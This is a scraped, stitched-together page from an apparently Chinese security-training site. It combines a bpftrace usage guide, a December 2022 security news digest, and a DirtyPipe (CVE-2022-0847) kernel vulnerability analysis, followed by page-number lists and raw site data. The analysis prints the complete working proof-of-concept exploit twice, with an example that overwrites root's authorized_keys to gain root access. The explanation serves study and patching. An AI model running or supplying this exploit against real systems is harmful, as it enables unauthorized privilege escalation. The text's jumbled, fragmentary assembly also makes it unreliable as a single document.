filename   bpftrace [options] -e 'program' OPTIONS:    -B MODE       output buffering mode ('line', 'full', or 'none')    -d             debug info dry run    -dd           verbose debug info dry run    -e 'program'   execute this program    -h             show this help message    -I DIR         add the specified DIR to the search path for include files.    --include FILE adds an implicit #include which is read before the source file is preprocessed.    -l [search]   list probes    -p PID         enable USDT probes on PID    -c 'CMD'       run CMD and enable USDT probes on resulting process    -q             keep messages quiet    -v             verbose messages    -k             emit a warning when a bpf helper returns an error (except read functions)    -kk           check all bpf helper functions    --version     bpftrace version ENVIRONMENT:   BPFTRACE_STRLEN             [default: 64] bytes on BPF stack per str()   BPFTRACE_NO_CPP_DEMANGLE   [default: 0] disable C++ symbol demangling   BPFTRACE_MAP_KEYS_MAX       [default: 4096] max keys in a map   BPFTRACE_MAX_PROBES         [default: 512] max number of probes bpftrace can attach to   BPFTRACE_MAX_BPF_PROGS     [default: 512] max number of generated BPF programs   BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache   BPFTRACE_VMLINUX           [default: none] vmlinux path used for kernel symbol resolution   BPFTRACE_BTF               [default: none] BTF file EXAMPLES: bpftrace -l '*sleep*'   list probes containing "sleep" bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'   trace processes calling sleep bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'   count syscalls by process name bpftrace程序语法规则 bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似 probe[,probe] /predicate/ {  action } probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针 Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来 //:单行注释 /**/:多行注释 ->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' struct:结构声明,在bpftrace脚本中可以定义自己的结构 https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令 bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' 2、系统调用计数 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' 3、计算每秒发生的系统调用数量 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }' bpftrace脚本文件 还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如: 1 #!/usr/local/bin/bpftrace 2 3 tracepoint:syscalls:sys_enter_nanosleep 4 { 5   printf("%s is sleeping.\n", comm); 6 } bpftrace探针类型 bpftrace支持以下类型的探针: kprobe- 内核函数启动 kretprobe- 内核函数返回 uprobe- 用户级功能启动 uretprobe- 用户级函数返回 tracepoint- 内核静态跟踪点 usdt- 用户级静态跟踪点 profile- 定时采样 interval- 定时输出 software- 内核软件事件 hardware- 处理器级事件
网络安全日报 2022年12月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、 加密钱包 BitKeep 因网络攻击损失超过 900 万美元 https://securityaffairs.com/140099/cyber-crime/bitkeep-9m-stolen.html 2、Meta支付 7.25 亿美元,了结剑桥分析公司数据泄露诉讼 https://thehackernews.com/2022/12/facebook-to-pay-725-million-to-settle.html 3、视频会议的风险与日俱增,中小型企业成为网络攻击的目标 https://www.darkreading.com/application-security/videoconferencing-worries-grow-with-smbs-in-cyberattack-crosshairs 4、研究人员披露使用了窃取的证书签名的勒索软件和擦除器 https://securelist.com/ransomware-and-wiper-signed-with-stolen-certificates/108350/ 5、Lazarus APT组织创建了 70 个虚假银行、风险投资公司域名 https://www.securityweek.com/north-korean-hackers-created-70-fake-bank-venture-capital-firm-domains 6、印度铁路公司3000 万客户数据在暗网上出售 https://economictimes.indiatimes.com/news/new-updates/indian-railway-data-leak-30-million-railway-customers-data-for-sale-on-the-dark-web/articleshow/96569440.cms 7、美国政府立法推动改善内存安全问题 https://www.secrss.com/articles/50499 8、最高人民法院发布公民个人信息保护指导性案例 https://www.secrss.com/articles/50472 9、苏黎世保险CEO:网络攻击将“无法投保” https://www.anquanke.com/post/id/284719 10、FBI的受审查信息共享网络“InfraGard”被黑 https://www.4hou.com/posts/jJ1y
DirtyPipe(CVE-2022-0847)漏洞分析
前言 CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。 调试环境 ubuntu 20.04 Linux-5.16.10 qemu-system-x86_64 4.2.1 漏洞验证 首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中 漏洞分析 以poc作为切入点,分析漏洞成因 首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。 ... if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } ... 在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。 随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在 ... for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } ... 紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。 ... ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); ... 在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。 后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。 这里记录一下物理页的地址 最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部 ... nbytes = write(p[1], data, data_size); ... 由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑 最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page中 可以看到buf->page与page地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中 补丁 补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程 总结 DirtyPipe攻击流程 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位 清空管道缓冲区 使用splice函数获取文件所对应的物理页 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作 DirtyPipe利用的限制 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据) 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页 完整的poc /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39;\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have   the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but   leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new   pipe_buffer without initializing its "flags", the buffer   will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; } /* create the pipe with all flags initialized with   PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the   pipe; this will add a reference to the page cache, but   since copy_page_to_iter_pipe() does not initialize the   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but   will instead write into the page cache, because of the   PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; } printf("It worked!\n"); return EXIT_SUCCESS; }
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
\\nssh-ed25519 AAA......\\n'\r\n *\r\n * Further explanation: https:\u002F\u002Fdirtypipe.cm4all.com\u002F\r\n *\u002F\r\n \r\n#define _GNU_SOURCE\r\n#include \u003Cunistd.h\u003E\r\n#include \u003Cfcntl.h\u003E\r\n#include \u003Cstdio.h\u003E\r\n#include \u003Cstdlib.h\u003E\r\n#include \u003Cstring.h\u003E\r\n#include \u003Csys\u002Fstat.h\u003E\r\n#include \u003Csys\u002Fuser.h\u003E\r\n \r\n#ifndef PAGE_SIZE\r\n#define PAGE_SIZE 4096\r\n#endif\r\n \r\n\u002F**\r\n * Create a pipe where all \"bufs\" on the pipe_inode_info ring have the\r\n * PIPE_BUF_FLAG_CAN_MERGE flag set.\r\n *\u002F\r\nstatic void prepare_pipe(int p[2])\r\n{\r\n if (pipe(p)) abort();\r\n \r\n const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);\r\n static char buffer[4096];\r\n \r\n \u002F* fill the pipe completely; each pipe_buffer will now have\r\n   the PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n write(p[1], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* drain the pipe, freeing all pipe_buffer instances (but\r\n   leaving the flags initialized) *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n read(p[0], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* the pipe is now empty, and if somebody adds a new\r\n   pipe_buffer without initializing its \"flags\", the buffer\r\n   will be mergeable *\u002F\r\n}\r\n \r\nint main(int argc, char **argv)\r\n{\r\n if (argc != 4) {\r\n fprintf(stderr, \"Usage: %s TARGETFILE OFFSET DATA\\n\", argv[0]);\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* dumb command-line argument parser *\u002F\r\n const char *const path = argv[1];\r\n loff_t offset = strtoul(argv[2], NULL, 0);\r\n const char *const data = argv[3];\r\n const size_t data_size = strlen(data);\r\n \r\n if (offset % PAGE_SIZE == 0) {\r\n fprintf(stderr, \"Sorry, cannot start writing at a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;\r\n const loff_t end_offset = offset + (loff_t)data_size;\r\n if (end_offset \u003E next_page) {\r\n fprintf(stderr, \"Sorry, cannot write across a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* open the input file and validate the specified offset *\u002F\r\n const int fd = open(path, O_RDONLY); \u002F\u002F yes, read-only! :-)\r\n if (fd \u003C 0) {\r\n perror(\"open failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n struct stat st;\r\n if (fstat(fd, &st)) {\r\n perror(\"stat failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (offset \u003E st.st_size) {\r\n fprintf(stderr, \"Offset is not inside the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (end_offset \u003E st.st_size) {\r\n fprintf(stderr, \"Sorry, cannot enlarge the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* create the pipe with all flags initialized with\r\n   PIPE_BUF_FLAG_CAN_MERGE *\u002F\r\n int p[2];\r\n prepare_pipe(p);\r\n \r\n \u002F* splice one byte from before the specified offset into the\r\n   pipe; this will add a reference to the page cache, but\r\n   since copy_page_to_iter_pipe() does not initialize the\r\n   \"flags\", PIPE_BUF_FLAG_CAN_MERGE is still set *\u002F\r\n --offset;\r\n ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);\r\n if (nbytes \u003C 0) {\r\n perror(\"splice failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if (nbytes == 0) {\r\n fprintf(stderr, \"short splice\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* the following write will not create a new pipe_buffer, but\r\n   will instead write into the page cache, because of the\r\n   PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n nbytes = write(p[1], data, data_size);\r\n if (nbytes \u003C 0) {\r\n perror(\"write failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if ((size_t)nbytes \u003C data_size) {\r\n fprintf(stderr, \"short write\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n printf(\"It worked!\\n\");\r\n return EXIT_SUCCESS;\r\n}",pic:"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227160027149.png",openTime:"2022-12-28T15:44:43+08:00",viewsNum:6041}]},goodNewsList:[{id:"60ab74cd-8e5e-4a5c-934f-5e4a2e0511aa",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24.png?1782375005186",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24-small.png?1782375005186",subContent:"渗透学生入职L通"},{id:"fb4c4b99-5f1d-467e-84da-65f3723a7c95",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6.png?1781659646741",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6-small.png?1781659646741",subContent:"武装部表扬信"},{id:"317ffbf9-0c3d-4c43-8a88-dc6d4b0a4422",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c.png?1780647375683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c-small.png?1780647375683",subContent:d},{id:"3fa967d8-bbd7-432b-aea7-4627c5e3a8f2",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30.png?1780647366339",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30-small.png?1780647366339",subContent:d},{id:"696ed075-d4ee-499c-944b-753b0b648cc8",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4.png?1780647356038",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4-small.png?1780647356038",subContent:d},{id:"75b7d09d-f188-452b-86fb-811ebe3e9686",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e.png?1780647342261",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e-small.png?1780647342261",subContent:d},{id:"dda6dbd9-e998-40ae-a72c-0837f1bb3e67",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6.png?1780647320683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6-small.png?1780647320683",subContent:d},{id:"337dedac-db6f-4053-a246-dbae343b632e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27.png?1780647308406",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27-small.png?1780647308406",subContent:d},{id:"6bd9ff8a-d5e6-4e97-b7dc-4949e987933e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2.png?1780647292920",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2-small.png?1780647292920",subContent:d},{id:"f6551a2c-808a-4ff2-891e-d7510da1c322",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904.png?1780647282594",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904-small.png?1780647282594",subContent:d},{id:"7a70a637-a7a8-4adc-b853-d34e2dd3aa71",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a.png?1780647268334",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a-small.png?1780647268334",subContent:d},{id:"e6ab2e37-c390-4a2f-851a-a8953986e160",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c.png?1780647256899",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c-small.png?1780647256899",subContent:d},{id:"9ebae6e9-6201-4385-892d-ce81bfd5d6f8",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916.png?1780647244664",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916-small.png?1780647244664",subContent:d},{id:"d3638720-611b-4095-ba54-5feea9bbbcf0",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f.png?1780647229987",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f-small.png?1780647229987",subContent:d},{id:"ab57687a-684b-4823-ae8d-9bc4094fcb76",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e.png?1780647199285",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e-small.png?1780647199285",subContent:d},{id:"113d0779-2851-432b-8f5b-89eb12241272",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147956085",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147956085",subContent:"渗透测试学生,入职海K,薪资20+"},{id:"53b6f5ee-2c50-423c-845b-cee6c00ecde6",type:a,category:b,tags:j,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e.png?1774834923466",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e-small.png?1774834923466",subContent:"通过训练不仅挖到了漏洞,学费也自己赚回来了"},{id:"88448d40-bc97-4b3a-8723-b08775ea4889",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147807896",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147807896",subContent:"渗透班优秀学生,入职华W"},{id:"09dce0d2-e362-4927-b269-7f1ea8085f3d",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08.png?1781147128716",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08-small.png?1781147128716",subContent:"大三计算机科学专业,通过web安全课程学习,进入电信实习"},{id:"de9f0cff-dd00-47d5-bcf5-da3742162d29",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0.png?1769160018185",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0-small.png?1769160018185",subContent:"高危原创漏洞证明"},{id:"3f4a0e71-4e14-492f-92d7-15f054caf269",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4.png?1768529638951",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4-small.png?1768529638951",subContent:"web安全学生获取cnvd证书"},{id:"0bfc445a-31ec-49c5-bee0-f0399f1b2dca",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce.png?1768294167218",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce-small.png?1768294167218",subContent:"20岁、本科信安专业,实习面试通过,渗透岗位"},{id:"ad7fa854-d359-4b13-92b4-d237a12aa6a8",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909.png?1781147648477",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ffe2b7459-73a5-4b9e-bcde-9fbbb2137909-small.png?1781147648477",subContent:"信安专业大三实习生,入职绿M"},{id:"229455f6-b661-41d7-8109-1cc2dc4aa582",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006.png?1767601292665",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006-small.png?1767601292665",subContent:e},{id:"dc4fd4cb-b81e-48e1-8f81-bceb16aedd35",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0.png?1767601265564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0-small.png?1767601265564",subContent:e},{id:"d192c517-0c0e-4af9-85ef-433e0b0b8563",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65.png?1767601246547",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd2